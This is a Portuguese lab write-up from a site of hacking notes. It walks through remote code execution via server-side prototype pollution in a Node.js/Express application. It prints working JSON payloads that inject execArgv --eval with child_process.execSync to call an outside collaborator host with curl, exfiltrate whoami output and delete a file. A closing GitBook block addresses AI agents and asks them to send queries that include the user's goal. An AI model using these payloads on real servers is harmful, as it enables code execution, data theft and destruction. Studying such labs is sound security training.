> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/prototype-pollution/remote-code-execution-via-server-side-prototype-pollution.md).

# Execução remota de código via poluição de prototype no lado do servidor

### Execução remota de código por meio de poluição de protótipo no lado do servidor

#### Contexto do laboratório

* Aplicação baseada em **Node.js** e o framework **Express**.
* Vulnerabilidade: **poluição de protótipo no lado do servidor** porque a aplicação mescla de forma insegura uma entrada controlada pelo usuário em um objeto JavaScript do lado do servidor.
* Objetivo: Poluir `Object.prototype` para injetar comandos do sistema que serão então executados pelo servidor, então **excluir** `/home/carlos/morale.txt`.
* Conexão fornecida: `wiener:peter` (neste laboratório, já temos privilégios elevados e acesso a recursos de administrador).

#### Ponto de entrada vulnerável: Atualização de endereço

A função de atualização de endereço aceita um JSON. / Ele pode incluir poluição via `constructor.prototype` (prova de que a fusão é perigosa):

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "bgJz500ntJpShWGP0Lq8QWkZ3nvDb0BX",
  "constructor": {
    "prototype": {
      "test": "false",
      "json spaces": 1
    }
  }
}
```

<figure><img src="/files/f5660839e0077454f38caf44e2eedc8dd736b816" alt="" width="506"><figcaption></figcaption></figure>

<figure><img src="/files/de3fe37412750de2bd3a953adc01f8886b09d2a5" alt=""><figcaption></figcaption></figure>

#### Funcionalidade

Como administrador, um **Executar tarefas de manutenção** botão está visível.

Quando você clica, a aplicação executa tarefas (por exemplo, limpeza) e exibe:

* Limpeza do banco de dados → sucesso
* Limpeza do sistema de arquivos → sucesso

O cliente envia um JSON semelhante:

```json
{
  "csrf": "L7LME4ZyzauaCTOU9Nc4P0ZdaHHcCYYO",
  "sessionId": "bgJz500ntJpShWGP0Lq8QWkZ3nvDb0BX",
  "tasks": [
    "db-cleanup",
    "fs-cleanup"
  ]
}
```

E o servidor responde com:

```json
{
  "results": [
    {
      "name": "db-cleanup",
      "description": "Limpeza do banco de dados",
      "success": true
    },
    {
      "name": "fs-cleanup",
      "description": "Limpeza do sistema de arquivos",
      "success": true
    }
  ]
}
```

Observação importante: em segundo plano, parece que um processo Node.js inicia essas tarefas por meio de um **processo filho** mecanismo.

#### Exploração: Injetar argumentos do Node via `execArgv`

No Node.js, algumas execuções podem passar argumentos para o runtime via `execArgv`. / Ideia: poluir `Object.prototype.execArgv` para injetar um `--eval=...` que executa um comando do sistema por meio de `child_process.execSync`.

```javascript
--eval=require('child_process').execSync('id')
```

Payload usado (teste de callback para o Burp Collaborator via `curl`):

```json
"__proto__": {
    "execArgv":[
        "--eval=require('child_process').execSync('curl https://m2pugey17it1s1cdpbfmc54tuk0co5cu.oastify.com')"
    ]
}
```

Então acionamos **Executar tarefas de manutenção** para forçar a aplicação a iniciar o processo que reutiliza `execArgv`.

<figure><img src="/files/70cbcdf55200ce64e20c7653fc734f941a8d8272" alt=""><figcaption></figcaption></figure>

Recebemos uma solicitação no Collaborator → execução confirmada.

<figure><img src="/files/08d97ab594409755cd3ba02a12866eb27af06ee5" alt=""><figcaption></figcaption></figure>

#### Verificação de contexto: Exfiltração `whoami`

Você pode exfiltrar o usuário por meio de um subdomínio dinâmico:

{% code overflow="wrap" %}

```json
"--eval=require('child_process').execSync('curl https://$(whoami).m2pugey17it1s1cdpbfmc54tuk0co5cu.oastify.com')"
```

{% endcode %}

Recebimento: `carlos`

<figure><img src="/files/1b9bdbceb5f198309b89e06f753de0256b650d0b" alt=""><figcaption></figcaption></figure>

#### Etapa final: Excluir o arquivo solicitado

A poluição limpa é enviada com o comando de remoção:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "bgJz500ntJpShWGP0Lq8QWkZ3nvDb0BX",
  "__proto__": {
    "execArgv": [
      "--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"
    ]
  }
}
```

Então reiniciamos **Tarefas de manutenção** para acionar a execução.

Resultado esperado: `/home/carlos/morale.txt` arquivo excluído e laboratório validado.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/prototype-pollution/remote-code-execution-via-server-side-prototype-pollution.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.